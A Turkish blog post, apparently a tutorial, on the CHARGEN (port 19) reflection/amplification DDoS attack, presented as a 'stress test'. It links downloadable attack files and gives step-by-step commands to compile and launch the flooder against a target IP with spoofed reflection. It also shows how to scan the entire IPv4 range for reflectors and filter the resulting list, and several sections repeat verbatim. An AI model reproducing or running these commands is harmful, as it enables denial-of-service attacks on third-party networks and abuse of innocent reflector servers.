Chargen atak olarak bilinen DoS saldırı türü; Chargen servisinin aldığı her paketi Drop ederek ve rastgele karakterler üretip bu paketleri göndermesi ile oluşur. UDP/TCP metodu olup Port 19 üzerinden yapılır. Saldırgan, Chargen atağın Response sayısını arttırabilir ve kendi IP sinide Spoof eder. Chargen metodu OSI modelindeki 4. ulaşım katmanı üzerinden yapılır.
Böylece kurban sistemin olduğu Network'de fazla sayıda Bandwith(Trafik) kullanımına sebep verilebilir. DNS sunucuları için halen etkili bir yöntemdir.
Chargen ve benzeri DDoS Amplification yani Reflection saldırıların amacı yollanan isteğe, büyük boyutta cevaplar oluşturmak ve oluşan cevabı hedefledikleri sisteme yönlendirerek, mevcut kapasiteden daha büyük bir saldırı gerçekleştirmek ve saldırının etkisini artırmaktır. Çünkü hazırlanan dosya ile 1 Megabit'den 10 Gigabit atak çıkabiliyor.
Buna benzer ataklar Amplification olarak adlandırılır. Bu ataklar için gerekenler ise;
1- Kaynak IP adresinin değiştirilmesi (IP Spoofing)
2- Paketin yollandığı sistemin, gelen istekten çok daha büyük bir cevap üretmesi
3- Büyük cevap üretecek sistem listesi
Chargen stres testini yapabileceğiniz sunucular kısıtlıdır. Her sunucuda bu testi yapamazsınız daha doğrusu izin verilmez. Alt yapı olarak en iyi stres testi için sunucu hizmeti veren firma OVH'dır.
Chargen Atak Metodu ve Kullanımı
Program: Ghargen
Açıklama: Character Generator Protocol Attack Port 19
Protokol: Layer 4 Transport Layer
Code: C
Program: Ghargen
Açıklama: Character Generator Protocol Attack Port 19
Protokol: Layer 4 Transport Layer
Code: C
Chargen testi genelde fiziksel sunucu(Dedicated) üzerinden yapılır. Stres testi yapmak ve mantığı kavramak için VDS/VPS üzerinden de aşağıdaki yönergeleri uygulayabilirsiniz. CentOS sunucu üzerinde anlatacağım. Chargen ile ilgili dosyaları İnternet üzerinden bulabilirsiniz.
Chargen Dosyalar (https://yadi.sk/d/eJtdYbUkptwoE)
Chargen Dosyalar (https://yadi.sk/d/eJtdYbUkptwoE)
Sunucu Güncelleme;
# yum -y update
CentOS / RHEL 7 GCC kütüphanesi(C and C++ Compiler) ve Development Tools;
# yum -y group install "Development Tools"
C ve C++ Compiler Versiyon öğrenmek;
# gcc --version
PHP kurulum için;
# yum -y install php
Chargen C Kodunu derleyelim;
# gcc chargen.c -pthread -o chargen
Çalıştırma yetkisi verelim;
# chmod +x chargen
Örnek Kullanım;
# ./chargen <Hedef-IP> <Hedef-Port> <Reflection File> <threads> <pps limiter, -1 for no limit> <time>
Portlar
DNS: 53
HTTP: 80
ECHO: 7
CHARGEN: 19
FTP-DATA: 20
FTP: 21
SSH: 22
TELNET: 23
SMTP: 25
TACACS: 49
POP3: 110
SNMP: 161
HTTPS: 443
RADIUS: 1812
ECHO: 7
CHARGEN: 19
FTP-DATA: 20
FTP: 21
SSH: 22
TELNET: 23
SMTP: 25
TACACS: 49
POP3: 110
SNMP: 161
HTTPS: 443
RADIUS: 1812
Örnek komut varyasyonları;
# ./chargen TEST-IP 80 chargenliste.txt 2 -1 3600
# ./chargen TEST-IP 80 chargenliste.txt 1 -1 120
# ./chargen DNS-IP 53 chargenliste.txt 1 -1 120
Atak varyasyonları;
# ./chargen TEST-IP 80 chargenliste.txt 15 -1 100
Atak varyasyonları;
# ./chargen TEST-IP 80 chargenliste.txt 15 -1 100
Buradaki chargenlist.txt en önemli olanıdır. Listede IP ve Port olarak verilmiştir. Benim verdiğim liste eski bir listedir. Amaç mantığı anlamaktır. Chargen Scan ile kendi güncel listenizi oluşturabilirsiniz. Chargen Atak ile ilgili Türkçe kaynak pek yoktur. Bu yüzden bu başlığı güncel tutmaya çalışacağım.
Chargen Scan yöntemi ile liste oluşturmak için aşağıdaki yöntemi izleyebilirsiniz.
Sunucu güncelleme;
# yum -y update
# yum -y install epel-release
Gerekli paketlerin kurulumu;
# yum -y group install "Development Tools"
# yum -y install gcc libcap libpcap libpcap-devel screen php
Chargen Scanner dosyasını derleyelim;
# gcc -lpthread ChargenScanner.c -lpcap -o ChargenScanner
Derleme sırasında SSH üzerinde yukarıdaki gibi uyarılar verebilir. Önemli değildir, şimdi tarama işlemini başlatmak için aşağıdaki komutu girelim.
# screen ./ChargenScanner 1.1.1.1 255.255.255.255 chargenliste.txt 15 100
Burada yaptığımız 100Mbps/1Gbps arası 1.1.1.1 ile 255.255.255.255 IP aralıklarındaki sunucuları tarayarak bir liste oluşturmak. Bu işlem 24 saat veya daha uzun sürebilir, sunucunun hep açık kalması lazım. Aşağıdaki resimde olduğu gibi sunucu üzerinden tarama işlemi yapılacaktır. Oluşturduğunuz listeyi filtrelemeden de kullanabilirsiniz. Tarama sonunda 5000-6000 arası bir IP listesi oluşacaktır.
Tarama bittikten sonra Filter dosyasını çalıştırmak için;
# screen php ChargenFilter.php chargenliste.txt chargenfilterdone.txt 100 5000
Chargen Scan yöntemi ile liste oluşturmak için aşağıdaki yöntemi izleyebilirsiniz.
Sunucu güncelleme;
# yum -y update
# yum -y install epel-release
Gerekli paketlerin kurulumu;
# yum -y group install "Development Tools"
# yum -y install gcc libcap libpcap libpcap-devel screen php
Chargen Scanner dosyasını derleyelim;
# gcc -lpthread ChargenScanner.c -lpcap -o ChargenScanner
Derleme sırasında SSH üzerinde yukarıdaki gibi uyarılar verebilir. Önemli değildir, şimdi tarama işlemini başlatmak için aşağıdaki komutu girelim.
# screen ./ChargenScanner 1.1.1.1 255.255.255.255 chargenliste.txt 15 100
Burada yaptığımız 100Mbps/1Gbps arası 1.1.1.1 ile 255.255.255.255 IP aralıklarındaki sunucuları tarayarak bir liste oluşturmak. Bu işlem 24 saat veya daha uzun sürebilir, sunucunun hep açık kalması lazım. Aşağıdaki resimde olduğu gibi sunucu üzerinden tarama işlemi yapılacaktır. Oluşturduğunuz listeyi filtrelemeden de kullanabilirsiniz. Tarama sonunda 5000-6000 arası bir IP listesi oluşacaktır.
Tarama bittikten sonra Filter dosyasını çalıştırmak için;
# screen php ChargenFilter.php chargenliste.txt chargenfilterdone.txt 100 5000
Kaynaklar
blogs.cisco.com/security/a-smorgasbord-of-denial-of-service
www.arhodgins.com/cert/securityplus/freeguide.html
Looking at CHARGEN protocol denial of service attacks
www.arhodgins.com/cert/securityplus/freeguide.html
Looking at CHARGEN protocol denial of service attacks
tr.wikipedia.org/wiki/OSI_modeli (OSI Katmanları)
Hiç yorum yok:
Yorum Gönder
Makaleye Yorum ve Sorularınızı Bırakabilirsiniz.